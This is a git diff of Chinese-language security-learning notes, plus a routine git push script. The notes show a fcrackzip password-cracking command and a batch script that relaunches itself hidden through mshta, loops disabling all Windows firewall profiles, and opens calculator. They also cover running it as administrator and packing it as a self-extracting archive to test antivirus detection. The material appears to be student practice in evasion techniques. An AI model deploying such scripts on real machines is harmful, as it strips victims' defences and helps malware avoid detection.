diff --git a/01.计算机基础知识.md b/01.计算机基础知识.md index e327976..549c111 100644 --- a/01.计算机基础知识.md +++ b/01.计算机基础知识.md @@ -248,6 +248,7 @@ fcrackzip -D -p rockyou.txt -u flag.zip - 桌面上创建一个记事本 - 打开计算器 - 等待10秒 + - 需要管理员权限才能运行 ```Bash @echo off @@ -255,8 +256,7 @@ if "%1"=="h" goto begin start mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit :begin :loop - netsh advfirewall set publicprofile state off - netsh advfirewall set privateprofile state off + netsh advfirewall set allprofiles state off echo This is a test > %userprofile%\Desktop\testfile.txt calc timeout /t 10 @@ -283,6 +283,10 @@ goto loop ![img](01.计算机基础知识/1756286349204-36.png) +- 可以在属性中设置,以管理员身份运行 + +![image-20250828143445926](01.计算机基础知识/image-20250828143445926.png) + - 自解压程序创建好了后,可以进行查杀,可以看到是8/48,有部分杀毒软件是能查出来的,比如360。 - 想要真正做到免杀,还得后续好好学习呀! diff --git a/01.计算机基础知识/image-20250828143445926.png b/01.计算机基础知识/image-20250828143445926.png new file mode 100644 index 0000000..d1595ab Binary files /dev/null and b/01.计算机基础知识/image-20250828143445926.png differ diff --git a/push.bat b/push.bat new file mode 100644 index 0000000..ad61e3b --- /dev/null +++ b/push.bat @@ -0,0 +1,27 @@ +@echo off +setlocal enabledelayedexpansion + +rem 获取当前日期和时间 +for /f "tokens=1-4 delims=/-. " %%i in ("%date%") do ( + set yyyy=%%i + set mm=%%j + set dd=%%k +) + +set hh=%time:~0,2% +set nn=%time:~3,2% +set ss=%time:~6,2% + +rem 去掉小时的空格 +if "%hh:~0,1%"==" " set hh=0%hh:~1,1% + +set commitmsg=%yyyy%-%mm%-%dd%_%hh%-%nn%-%ss% + +git config --global core.autocrlf input + +git add . +git rm --cached push.bat +git commit -m "%commitmsg%" +git push -u origin main + +endlocal \ No newline at end of file